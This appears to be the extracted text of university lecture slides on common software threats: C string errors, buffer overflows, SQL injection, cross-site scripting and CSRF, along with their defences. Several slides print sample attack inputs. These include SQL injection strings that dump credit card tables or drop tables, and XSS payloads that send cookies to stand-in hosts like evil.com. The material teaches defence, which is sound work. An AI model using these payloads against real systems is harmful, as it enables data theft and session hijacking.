Csce5560 - CommonThreats 8
Csce5560 - CommonThreats 8
Common Threats
2
C-Style Strings
• Strings are a fundamental concept in software engineering,
but they are not a built-in type in C
h e l l o \0
length
• C-style strings consist of a contiguous sequence of characters
terminated by and include the null character
– A pointer to a string points to its initial character
– String length is the number of bytes preceding the null character
– The string value is the sequence of the values of the contained
characters, in order
– The number of bytes required to store a string is the number of
characters plus one
3
Common String Manipulation Errors
• Programming with C-style strings is error prone
• Common errors include
– Unbounded string copies
– Null-termination errors
– Truncation
– Write outside array bounds
– Off-by-one errors
– Improper data sanitization
4
Unbounded String Copies
• Occur when data is copied from an unbounded source to a
fixed length character array
– It is not always possible to know beforehand how many characters a
user will supply
– Common solution is to statically allocate array that is much larger than
needed
– When dealing with malicious users, this fixed length character array
can be easily exceeded
int main()
{
char Password[80];
puts("Enter 8 character password:");
gets(Password);
...
}
5
Copy and Concatenation
• It is easy to make errors when copying and concatenating
strings because standard functions do not know the size of
the destination buffer
6
Simple Solution
• Test the length of the input using strlen() and dynamically
allocate the memory
int main(int argc, char *argv[])
{
char *buff = (char *)malloc(strlen(argv[1])+1);
if (buff != NULL)
{
strcpy(buff, argv[1]);
printf("argv[1] = %s.\n", buff);
}
else
{
/* Couldn't get the memory - recover */
}
return 0;
}
• Problem
– If inputs are not limited, they can (1) exhaust memory on a machine
and (2) be used in denial-of-service attacks
7
Null-Termination Errors
• Another common problem with C-style strings is a failure to
properly null terminate
8
String Truncation
• Functions that restrict the number of bytes are recommended
to mitigate against buffer overflow vulnerabilities
– Use strncpy() instead of strcpy()
– Use fgets() instead of gets()
– Use snprintf() instead of sprintf()
• Strings that exceed the specified limits are truncated
– Truncation results in a loss of data, and in some cases, to software
vulnerabilities
9
Improper Data Sanitization
• Application inputs an e-mail address from a user and writes
the address to a buffer
Source: Viega and Messier, Secure Programming Cookbook for C and C++, 2003. 10
Buffer Overflow
11
What is Buffer Overflow?
• A buffer overflow occurs when data is written outside of the
boundaries of the memory allocated to a particular data
structure
16 Bytes of Data
Source
Memory
Copy
Operation
Destination
Memory
13
Typical Attack Scenario
1. Users enter data into a web form
2. Web form is sent to server
3. Server writes data to buffer, without checking length of input
data
4. Data overflows from buffer
5. Sometimes, overflow can enable an attack
6. Web form attack could be carried out by anyone with an
Internet connection
14
Buffer Overflow
int main()
{
int buffer[10];
buffer[20] = 37;
}
15
Simple Buffer Overflow
• Consider Boolean flag for authentication
• Buffer overflow could overwrite flag allowing anyone to
authenticate! Boolean flag
buffer
F O U R S C … FT
16
Memory Organization
• When a program is loaded into
¬ low
memory, it is organized into the text
address
following segments of memory
– text contains the actual program data
code, or executable instructions
– data contains global and static heap
variables initialized at runtime
– heap contains dynamic memory ¬ SP
allocated at runtime
17
Simplified Stack Example
low
void main()
{ ¬ SP
buffer
func(1, 2);
}
ret ¬SP
¬ return
address
a ¬ SP
high b ¬ SP
18
Smashing the Stack
low
:
??? :
• What happens if the buffer
overflows?
• The program “returns” to ¬ SP
buffer
wrong location
– A crash is likely overflow
ret ¬ ret…
SP NOT!
overflow
a ¬ SP
high b ¬ SP
19
Smashing the Stack
low
:
:
• A better idea…
• Code injection
– An attacker can run some ¬ SP
code of his/her choosing evil code
ret
ret ¬ SP
a ¬ SP
high b ¬ SP
20
Smashing the Stack
• This is an important class of vulnerability because of their
frequency and potential consequences
– Application reserves adjacent memory locations (buffer) to store
arguments to a function, or variable values
– Occurs when a buffer overflow overwrites data in the memory
allocated to the execution stack
– Successful exploits can overwrite the return address on the stack
allowing execution of arbitrary code on the targeted machine with the
same privileges as the original application
21
Smashing the Stack
:
:
NOP
:
• Attacker may not know: NOP
– Address of evil code
evil code
– Location of return on stack
• Solutions ret
– Precede evil code with NOP ret ¬ ret
“landing pad”
:
– Insert lot of new returns
ret
:
:
22
Stack Smashing Summary
• A buffer overflow must exist in the code
• Not all buffer overflows are exploitable
– Things must line up just right
• If exploitable, attacker can inject code
• Trial and error likely required
• Also heap overflow, integer overflow, etc.
$ ./a.out
Enter an 8 character string: thisislongerthan8characters
echo: thisislongerthan8characters
*** stack smashing detected ***: ./a.out terminated
Segmentation fault (core dumped)
23
Stack Smashing Example
• Program asks for a serial number that the attacker does not
know
• Attacker does not have source code
• Attacker does have the executable (exe)
24
Stack Smashing Example (cont’d)
• By trial and error, attacker discovers apparent buffer overflow
Why is 0x401034
important?
27
Stack Smashing Example (cont’d)
• Find that 0x401034 is “@^P4” in ASCII
28
Stack Smashing Example (cont’d)
• Reverse the byte order to “4^P@” and…
29
Stack Smashing Example (cont’d)
• Attacker did not require access to the source code
• Only tool used was a disassembler to determine address to
jump to
• Can find address by trial and error
– Necessary if attacker does not have executable
– For example, a remote attack
30
Stack Smashing Example (cont’d)
• Source code of the buffer overflow
• Flaw easily found by attacker
• Even without the source code
#include <stdio.h>
#include <string.h>
int main()
{
char in[75];
printf("\nEnter Serial Number\n");
scanf("%s", in);
if (!strncmp(in, "S123N456", 8))
{
printf("Serial number is correct.\n");
}
}
31
Stack Smashing Prevention
• Use safer languages with bounds checking
– Perl, Python, Java, C# instead of C, C++, Assembly, etc.
• Use safer C functions
– For unsafe functions, there are safer versions
– The functions gets, strcpy, and strcmp all fail to check the length or
bounds of their arguments
– For example, strncpy instead of strcpy
• Stack (and sometimes code, heap, libraries) at random virtual
addresses for each process
– Most mainstream OSes do this through address space layout
randomization (ASLR)
32
Stack Smashing Prevention
ASLR 33
Stack Smashing Prevention
• Employ non-executable stack
– Memory page writable or executable, but never both
– “No execute” NX bit (if available)
– Seems like the logical thing to do, but some real code executes on the
stack (e.g., Java does this)
34
Stack Smashing Prevention
• Canary low
– Push a “canary” on the stack :
:
between local variables and
the return address
– Initialized to some random
number at program start up
– Before using the return
address, check if the canary buffer
has the initial value
overflow
canary ¬
• If it is different, there was
an overflow and program overflow
ret
terminates a
high b
35
SQL Injection
36
Dynamic Web Application
Database
Server
37
PHP: Hypertext Preprocessor
• Server-side scripting language that is used to develop
interactive web sites (e.g., to process HTML forms)
• Can intermingle static HTML and PHP code
<input value=<?php echo $myvalue; ?>>
• Can embed variables in double-quote strings
$user = "world"; echo "Hello $user! ";
or$user = "world"; echo "Hello" . $user . "! ";
• Form data in global arrays $_GET, $_POST, …
• Database support
38
SQL
• Widely used database query language
– Defines how to insert, retrieve, modify, and delete data
• Fetch a set of records
SELECT * FROM Person WHERE Username='Vitaly'
• Add data to the table
INSERT INTO Key (Username, Key) VALUES ('Vitaly', 3611BBFF)
• Modify data
UPDATE Keys SET Key=FA33452D WHERE PersonID=5
• Query syntax (mostly) independent of vendor
39
Sample PHP Code
• Sample PHP
$selecteduser = $_GET['user'];
$sql = "SELECT Username, Key FROM Key " .
"WHERE Username='$selecteduser'";
$rs = $db->executeQuery($sql);
40
SQL Injection: Basic Idea
Victim server
c io u s form
ali
Attacker 1 post m
2
3 receive valuable data unintended
query
42
User Input Becomes Part of Query
43
Normal Login
44
Malicious User Input
45
SQL Injection Attack
SELECT passwd
Enter FROM USERS
Username WHERE uname
& IS ''; DROP TABLE
Web Password USERS; -- '
Web
Browser DB
Server
(Client)
46
Exploits of a Mom
Source: http://xkcd.com/327/ 47
Authentication with Back-End DB
set UserFound=execute(
"SELECT * FROM UserTable WHERE
username=' " & form("user") & " ' AND
password= ' " & form("pwd") & " ' " );
– User supplies username and password, this SQL query checks if
user/password combination is in the database
if not UserFound.EOF
Only true if the result of SQL query
Authentication correct is not empty, i.e., user/password is
in the database
else Fail
48
Using SQL Injection to Steal Data
• User gives username ' OR 1=1 --
• Web server executes query
set UserFound=execute(
SELECT * FROM UserTable WHERE
username= ' ' OR 1 = 1 -- … );
Always true! Everything after -- is ignored!
49
Another SQL Injection Example
• To authenticate logins, server runs this SQL command against
the user database
SELECT * WHERE user='name' AND pwd='passwd'
• User enters ' OR WHERE pwd LIKE ' % as both name and
passwd
Wildcard matches any password
• Server executes
SELECT * WHERE user=' ' OR WHERE pwd LIKE ' % ' AND
pwd=' ' OR WHERE pwd LIKE ‘%’
• Logs in with the credentials of the first person in the database
(typically, administrator!)
51
Pull Data From Other Databases
• User gives username
' AND 1=0
UNION SELECT cardholder, number, exp_month, exp_year
FROM creditcards
• Results of two queries are combined
• Empty table from the first query is displayed together with
the entire contents of the credit card database
52
More SQL Injection Attacks
• Create new users
'; INSERT INTO USERS ('uname', 'passwd', 'salt')
VALUES ('hacker', '38a74f', 3234);
• Reset password
'; UPDATE USERS SET email=hcker@root.org WHERE
email=victim@yahoo.com
53
Uninitialized Inputs
/* php-files/lostpassword.php */ Creates a password with 8
random characters, assuming
for ($i=0; $i<=7; $i++) $new_pass is set to NULL
$new_pass .= chr(rand(97,122))
…
$result = dbquery("UPDATE ".$db_prefix."users
SET user_password=md5('$new_pass')
WHERE user_id=' ".$data['user_id']." ' ");
55
Second-Order SQL Injection
• Second-order SQL injection
– Data stored in database is later used to conduct SQL injection
• E.g., user manages to set uname to admin' --
– This vulnerability could exist if string escaping is applied inconsistently
(i.e., strings not escaped)
UPDATE USERS SET passwd='cracked'
WHERE uname='admin' -- '
• Solution: treat all parameters as dangerous
56
SQL Injection Examples
• Oklahoma Department of Corrections divulges thousands of
social security numbers (2008)
– Sexual and Violent Offender Registry for Oklahoma
– Data repository lists both offenders and employees
• “Anyone with a web browser and the knowledge from
Chapter One of SQL For Dummies could have easily accessed
– and possibly, changed – any data within the DOC's
databases”
– “SQL injection is normally an easily preventable vulnerability if a web
developer implements the proper data validation, but in this case, the
SQL statements were visible from the page itself.”
Source: http://www.ireport.com/docs/DOC-11831 57
SQL Injection Examples
• Ohio State University has the largest enrollment of students in
the United States
– It has one of the largest number of entries, so far eight, in the Privacy
Rights Clearinghouse breach database
• One of the more recent attacks that took place on March 31,
2007, and involved an SQL injection attack originating from
China against a server in the Office of Research
– The hacker was able to access 14,000 records of current and former
staff members
58
SQL Injection Examples
• CardSystems was a major credit card processing company
• Put out of business by an SQL injection attack in June 2005
– Credit card numbers stored unencrypted
– Data on 263,000 accounts stolen
– 43 million identities exposed
59
SQL Injection Examples
60
Main Steps in April 2008 Attack
• Use Google to find sites using a particular ASP style vulnerable
to SQL injection
• Use SQL injection to modify the pages to include a link to a
Chinese site nihaorr1.com
– Do not visit that site – it serves JavaScript that exploits
vulnerabilities in IE, RealPlayer, QQ Instant Messenger
• Attack used automatic tool; can be configured to inject
whatever you like into vulnerable sites
• There is some evidence that hackers may get paid for each
victim’s visit to nihaorr1.com
61
Preventing SQL Injection
• Input validation
– Filter
• Apostrophes, semicolons, percent symbols, hyphens, underscores,
…
• Any character that has special meanings
– Check the data type (e.g., make sure it’s an integer)
• Whitelisting
– Blacklisting “bad” characters doesn’t work
• Forget to filter out some characters
• Could prevent valid input (e.g., last name O’Brien)
– Allow only well-defined set of safe values
• Set implicitly defined through regular expressions
62
Escaping Quotes
• For valid string inputs use escape characters to prevent the
quote becoming part of the query
– Example: escape(o’connor) = o’’connor
– Convert ' into \'
– Only works for string inputs
– Different databases have different rules for escaping
63
Prepared Statements
• Metacharacters such as ' in queries provide distinction
between data and control
– In most injection attacks, data is interpreted as control – this changes
the semantics of a query or a command
• Many libraries allow you to bind inputs to variables inside an
SQL statement
– Bind variables: ? placeholders guaranteed to be data (not control)
– By specifying parameters (either a ? or a named parameter like :name)
you tell the database engine what to filter on
– Then when you call execute the prepared statement is combined with
the parameter values you specify
64
Prepared Statements
• Prepared statements allow creation of static queries with bind
variables
– This preserves the structure of intended query
• It works because the parameter values are combined with the
compiled statement, not an SQL string
– SQL injection works by tricking the script into including malicious
strings when it creates SQL to send to the database
– So by sending the actual SQL separately from the parameters you limit
the risk of ending up with something you didn't intend
65
Prepared Statement Example
PreparedStatement ps =
db.prepareStatement("SELECT pizza, toppings, quantity,
order_day" + "FROM orders WHERE userid=? AND
order_month=?");
ps.setInt(1, session.getCurrentUserId());
ps.setInt(2, Integer.parseInt(request.getParameter("month")));
ResultSet res = ps.executeQuery();
66
Cross-Site Scripting (XSS)
67
Cross-Site Scripting
• An XSS vulnerability is present when an attacker can inject
scripting code into pages generated by a web application
• Methods for injecting malicious code
– Reflected XSS ("type 1")
• The attack script is reflected back to the user as part of a page
from the victim site
– Stored XSS ("type 2")
• The attacker stores the malicious code in a resource managed by
the web application, such as a database
– Others, such as DOM-based attacks
68
Cross-Site Scripting
• Bad web site sends innocent victim a script that steals
information from an honest web site
– Injects malicious script into trusted context
69
XSS Example
• Search field on victim.com
http://victim.com/search.php ? term = apple
• Server-side implementation of search.php
<HTML> <TITLE> Search Results </TITLE>
<BODY>
Results for <?php echo $_GET[term] ?> :
. . .
</BODY> </HTML>
70
Bad Input
• Consider the link
http://victim.com/search.php ? term =
<script> window.open(
"http://badguy.com?cookie = " +
document.cookie ) </script>
• What if user clicks on this link?
1. Browser goes to victim.com/search.php
2. victim.com returns
<HTML> Results for <script> … </script>
3. Browser executes script
• Sends badguy.com cookie for victim.com
71
Reflected XSS Attack
Attack Server
ba d link
ets
user g
www.attacker.com
http://victim.com/search.php ?
term = <script> … </script>
us e r
click Send bad stuff…
Victim client s on l
victi ink
www.victim.com
m echo
es u Victim Server
<html> Reflect it back… s er
inpu
Results for t
<script>
window.open(http://attacker.com?
… document.cookie ...
</script>
72
</html>
Stored XSS Attack
Attack Server
ble da ta
s te al valua
4
1
Inject
Store bad stuff… malicious
2 r
Victim Client equ script
est
3 re cont
ceiv ent
e mal
iciou Victim Server
s scrip
t
Download it…
73
DOM-Based XSS
• Example page
<HTML><TITLE>Welcome!</TITLE>
Hi <SCRIPT>
var pos = document.URL.indexOf("name=") + 5;
document.write(document.URL.substring(pos,docum
ent.URL.length));
</SCRIPT>
</HTML>
• Works fine with this URL
http://www.example.com/welcome.html?name=Joe
• But what about this one?
http://www.example.com/welcome.html?name=
<script>alert(document.cookie)</script>
74
XSS: Cross-Site Scripting
victim’s
evil.com browser naive.com
E.g., URL embedded
in HTML email
hello.cgi
Access some web page
<FRAME SRC=
http://naive.com/hello.cgi? GET/ hello.cgi?name=
name=<script>win.open( <script>win.open(“http://
“http://evil.com/steal.cgi? evil.com/steal.cgi?cookie”+ hello.cgi
cookie=”+document.cookie) document.cookie)</script>
</script>> executed
<HTML>Hello, dear
Forces victim’s browser to <script>win.open(“http://
call hello.cgi on naive.com evil.com/steal.cgi?cookie=”
with this script as “name” +document.cookie)</script>
Welcome!</HTML>
GET/ steal.cgi?cookie=
Interpreted as Javascript
by victim’s browser;
opens window and calls
steal.cgi on evil.com
75
So What?
• Why would user click on such a link?
– Phishing email in webmail client (e.g., Gmail)
– Link in DoubleClick banner ad
– … many many ways to fool user into clicking
• So what if evil.com gets cookie for naive.com?
– Cookie can include session authenticator for naive.com
• Or other data intended only for naive.com
– Violates the “intent” of the same-origin policy
76
Other XSS Risks
• XSS is a form of “reflection attack”
– User is tricked into visiting a badly written website
– A bug in web site code causes it to display and the user’s browser to
execute an arbitrary attack script
• Can change contents of the affected website by manipulating
DOM components
– Show bogus information, request sensitive data
– Control form fields on this page and linked pages
• For example, MySpace.com phishing attack injects password field
that sends password to bad guy
• Can cause user’s browser to attack other websites
77
Cross-Site Request Forgery (CSRF)
78
Cross-Site Request Forgery
• Same browser runs a script from a “good” site and a malicious
script from a “bad” site
– How could this happen?
– Requests to “good” site are authenticated by cookies
• Malicious script can make forged requests to “good” site with
user’s cookie
– Examples
• Netflix: change acct settings
• Gmail: steal contacts
– Potential for much bigger damage (i.e., banking)
79
CSRF: Basic Idea
Server victim
s essi on
sh
1 establi
requ est
forged
4 send
2 v
isit s
3 erve
User victim rece r
ive m
alici
ou s Attack Server
page
81
CSRF in More Detail
82
Login CSRF
83
Inline Gadgets
84
Using Login CSRF for XSS
85
CSRF vs. XSS
• Cross-site scripting
– User trusts a badly implemented website
– Attacker injects a script into the trusted website
– User’s browser executes attacker’s script
• Cross-site request forgery
– A badly implemented website trusts the user
– Attacker tricks user’s browser into issuing requests
– Website executes attacker’s requests
86
CSRF Issue
• Exploits the trust that site has in a user’s browser, unlike the
trust that a user has for a particular site
• Browser’s security policy allows web sites to send HTTP
requests to any network address
• This vulnerability would allow the attacker to control content
rendered by the browser
– The attacker could send requests to other machines behind the
firewall using the user’s browser
– Requests sent via the browser’s network stack typically include
browser state such as cookies, client certificates, or basic
authentication headers
87
CSRF Threat Models
• Web attacker
– The attacker owns a domain name (e.g., attacker.com), has a valid
HTTPS certificate, and operates a web server
– If a user visits this web site, the attacker could mount a CSRF attack by
instructing the browser to issue cross-site requests using both the GET
and POST methods
• Network attacker
– The attacker controls the user’s network connection
– A compromised DNS server can be exploited by the attacker to control
the user’s network
88
CSRF Defenses
• Validating a secret token
– Include a secret token with each request and validate that the token is
correctly bound to the user’s session
<input type=hidden value=23a3af01b>
• Referrer validation
– Accept requests only from trusted sources by verifying the referrer
header
Referrer: http://www.facebook.com/home.php
• Custom HTTP header
– Set custom header by XMLHttpRequest and validating that header
before state modifying requests
X-Requested-By: XMLHttpRequest
89
Secret, Random Validation Token
• Hash of user ID <input type=hidden value=23a3af01b>
– Can be forged by attacker
• Session ID
– If attacker has access to HTML of the web page, can learn session ID
and hijack the session
• Session-independent nonce (as cookie)
– Network attackers can overwrite with own token
• Session-dependent nonce (binds session ID to token)
– Server maintains large state table to validate tokens
• HMAC (keyed-hash message authentication code) of session
ID
– Use cryptography to bind two values without extra state
90
Referrer Validation
• When browser issues HTTP request, includes referrer header
that indicates which URL initiated request
– User information to distinguish between same site request and cross
site request
Referrer:
http://www.facebook.com/home.php
Referrer:
http://www.evil.com/attack.html
?Referrer:
– The referrer header contains sensitive information that infringes on
privacy
91
Referrer Validation
• Lenient referrer validation – optional header
– Site blocks request for referrer header with incorrect value
– Site accepts request if lacks header
• Attacker can cause web browser to suppress referrer header (e.g.,
ftp request)
• Strict referrer validation – required header
– Site blocks request for referrer header with incorrect value
– Site blocks request if lacks header
• Some browsers and network configurations suppress header for
legitimate requests
92
Why Not Always Strict Checking?
• Reasons to suppress referrer header
– Network stripping by the organization
– Network stripping by local machine
– Stripped by browser for HTTPS HTTP transitions
– User preference in browser
– Buggy user agents
• Web applications can’t afford to block these users
• Feasible over HTTPS (header rarely suppressed)
– Logins typically use HTTPS – helps against login CSRF!
93
CSRF with Lenient Referrer Checking
http://www.attacker.com
redirects to
common browsers don’t send referrer header
ftp://www.attacker.com/index.html
javascript:"<script> /* CSRF */ </script>"
data:text/html,<script> /* CSRF */ </script>
94
CSRF Recommendations
• Login CSRF
– Strict referrer validation
– Login forms typically submit over HTTPS, not blocked
• HTTPS sites, such as banking sites
– Strict referrer validation
• Other sites
– Use Ruby-on-Rails or other framework that implements secret token
method correctly
95
Custom HTTP Headers
• Browsers prevent sites from sending custom HTTP headers to
other sites, but allow sites to send custom HTTP headers to
themselves
• Cookie value not actually required to prevent CSRF attacks as
presence of header is sufficient
• To use this scheme, site must issue all state modifying
requests using XMLHttpRequest, attach the header, and reject
all requests that do not accompany the header
X-Requested-By: XMLHttpRequest
96
“Ideal” CSRF Defense
• Does not break existing sites
• Easy to use
• Allows legitimate cross-site requests
• Reveals minimum amount of information
• No secrets to leak
• Standardized
97
Origin Header Solution
• Add origin header to each POST request
– Identifies the origin that initiated the request
• Includes only information needed to identify party that initiated
request (i.e., scheme, host, and port of active document)
• Sent only for POST requests, referrer header sent for all requests
– Improves referrer header by respecting user’s privacy
– Does not contain path or query portion of URL
• All state modifying requests including login requests must be
sent using POST method
– All state modifying GET requests must be blocked
– If origin header present, server must reject requests with undesired
header value
• E.g., site could reject all requests whose origin indicated request
was initiated from another site
98